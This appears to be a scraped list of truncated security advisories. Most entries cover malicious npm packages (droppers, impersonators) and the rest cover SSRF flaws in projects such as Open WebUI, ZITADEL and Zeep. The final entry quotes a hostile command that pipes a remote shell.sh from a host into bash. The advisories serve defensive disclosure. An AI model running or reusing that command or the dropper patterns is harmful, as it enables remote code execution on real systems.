Malicious code in async-mutex-lock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e195fef439eb6af3d28576857a30030e4bd839406fa36b2f939279743f12188e The package is advertised as a mutex-lock utility but ships none of the documented API no Mutex/lock/unlock. Its sole export, getPlugin in index.js,...

MAL-2026-12513 Malicious code in async-mutex-lock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e195fef439eb6af3d28576857a30030e4bd839406fa36b2f939279743f12188e The package is advertised as a mutex-lock utility but ships none of the documented API no Mutex/lock/unlock. Its sole export, getPlugin in index.js,...

Malicious code in statist-browser-typed-client-mb.reliability.android.metrics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 452d03d6ed4b82fa956dc7419066742e9c91518b786f0e164aa63e2ae55d6083 On require of the package, index.js loads loader.js which downloads a platform-specific binary from hardcoded Cloudflare Workers hosts assembled by...

MAL-2026-12444 Malicious code in statist-browser-typed-client-coretech.web.metrics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9b9b2b7ac37cfa02ac91bf79f3ca153bd19923ba95468f5a747de47f82ebf828 On require of the package, init.js selects a platform-specific asset, fetches an opaque binary via https.get from one of three hardcoded Cloudflare...

MAL-2026-12241 Malicious code in tinkoff-fb-fieldset-car-reference-kasko (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aba1a3309e85c6e4e6f80764a7874fe3ba7c1abf63a760eab670fc81a0700249 On module load, index.js requires./shim.js, which immediately runs a dropper: it fetches an opaque platform-specific binary from hardcoded Cloudflare...

Malicious code in specials-mvno-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 852448e1055feb834486a41aaf7e1a621a52fc4e9a496f34c0bde833e751434b index.js requires bootstrap.js at module load, which fetches an opaque platform-specific binary from string-split Cloudflare Workers hosts...

CVE-2026-54020 Open WebUI: DNS Rebinding SSRF Bypass

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.11.0, Open WebUI resolved a hostname during URL validation and rejected private, loopback, and link-local addresses, but the HTTP clients resolved the hostname again at connection time. An authenticat...

CVE-2026-69078

CTI-Transmute is affected by a server-side request forgery vulnerability in the evaluation report PDF-generation functionality. User-controlled CTI content, including conversion names, descriptions, and comments, is converted from Markdown to HTML and rendered as a PDF using WeasyPrint. Before th...

EUVD-2026-52254

CTI-Transmute is affected by a server-side request forgery vulnerability in the evaluation report PDF-generation functionality. User-controlled CTI content, including conversion names, descriptions, and comments, is converted from Markdown to HTML and rendered as a PDF using WeasyPrint. Before th...

CVE-2026-55671 ZITADEL: Server-Side Request Forgery (SSRF) and Denylist Bypass in Outgoing HTTP Components

ZITADEL is an open source identity management platform. From 4.0.0-rc.1 through 4.15.1, ZITADEL's HTTP notification channels, OIDC BackChannel Logout, and SAML metadata URL fetches do not consistently validate user-defined URLs against protected denylist handling, allowing server-side requests to...

CVE-2026-58501

Zeep is a Python SOAP client. From 4.0.0 before 4.3.3, Settings.forbidexternal is defined but not enforced when parsing WSDL or XSD documents, allowing transitive xsd:import, xsd:include, wsdl:import, and lxml entity or DTD references to fetch attacker-chosen HTTP or HTTPS URLs. This issue is fix...

PYSEC-2026-1237 Chainlit contain a server-side request forgery (SSRF) vulnerability

Chainlit versions prior to 2.9.4 contain a server-side request forgery SSRF vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy...

PT-2026-56058

Name of the Vulnerable Software and Affected Versions Dragonfly versions prior to v2.4.4-rc.2 Description The scheduler's v1 gRPC service is vulnerable to an unauthenticated Server-Side Request Forgery SSRF. A remote attacker can force the scheduler to make HTTP GET requests to arbitrary internal...

Security Bulletin: SSRF Protection Configuration Vulnerability

Summary A configuration vulnerability was identified where SSRF Server-Side Request Forgery protection could be disabled through default settings, potentially allowing authenticated users to make the server fetch arbitrary URLs including cloud metadata endpoints 169.254.169.254, internal services...

Malicious code in @gleamkit/probe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aaef237007e5d89031d334bf56a29892c7d6103aba9563b040556eea20ef2cfa No suspicious behaviors were detected in this package. There are no lifecycle scripts performing remote fetches, no credential or environment scrapin...

PT-2026-50740

Name of the Vulnerable Software and Affected Versions Zitadel versions 4.0.0 through 4.15.1 Zitadel versions 3.0.0 through 3.4.11 Description A Server-Side Request Forgery SSRF issue exists in components that handle outgoing HTTP requests, specifically HTTP Notification Channels, OIDC BackChannel...

Malicious code in ts-webplug (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a120eb8e3f6ca34493b7f282544523ab60137e8388148b191f46cda094e50789 The package impersonates the pino logger README titled 'chai-mocks', badges linking to pinojs/pino, module export named pino while its actual package...

MAL-2026-5991 Malicious code in req-parmas-valid (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 063b7e2667c434784d0b5d2ce333ea700fbc17571da3f5f4fc7d0f03ac406bd0 Package name req-parmas-valid impersonates the well-known request HTTP client description copied verbatim as 'Simplified HTTP request client.',...

MAL-2026-5903 Malicious code in chai-guid (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 69e9bcacf8dca52aafe4d93019b888c6d32e344b500a21368f036bf586eee161 chai-guid impersonates the pino logger and the chai-guid chai plugin README copies pino badges and pinojs CI links; index.js exports middleware as...

MAL-2026-5694 Malicious code in internallib_v856 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d94a6872645a3d5b938f9bc48871dbdff18068bd32d04169c3e421cd6830934a The package's main entry index.js exports a single function command that invokes /bin/bash -c "curl -s http://10.0.0.145:8080/shell.sh | bash || wget...